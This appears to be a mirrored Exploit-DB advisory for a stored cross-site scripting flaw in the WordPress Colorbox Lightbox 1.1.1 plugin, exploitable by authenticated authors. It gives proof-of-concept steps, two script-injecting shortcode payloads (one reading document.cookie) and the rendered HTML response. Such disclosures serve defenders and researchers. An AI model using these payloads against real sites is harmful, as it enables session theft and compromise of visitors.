WordPress Plugin Colorbox Lightbox v1.1.1 – Persistent Cross-Site Scripting (Authenticated)

• Exploit Database
• 136 阅读

• 作者： n1x_
  日期： 2020-10-20
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48919/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  # Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated) # Date: 10.8.2020. # Exploit Author: n1x_ [MS-WEB] # Software Homepage: https://wordpress.org/plugins/wp-colorbox/ # Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip # Product Version: 1.1.1   [Description]   # WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library.   # Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.   [Proof of Concept]   # 1. Authorization as user with privileges to write and publish posts # 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post # 3. The code is stored on the post     [Example payloads]     # Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]   # Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(&apos;sampletext&apos;)</script>"]   [Response]   ... <a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert(&apos;sampletext&apos;)</script></a> ...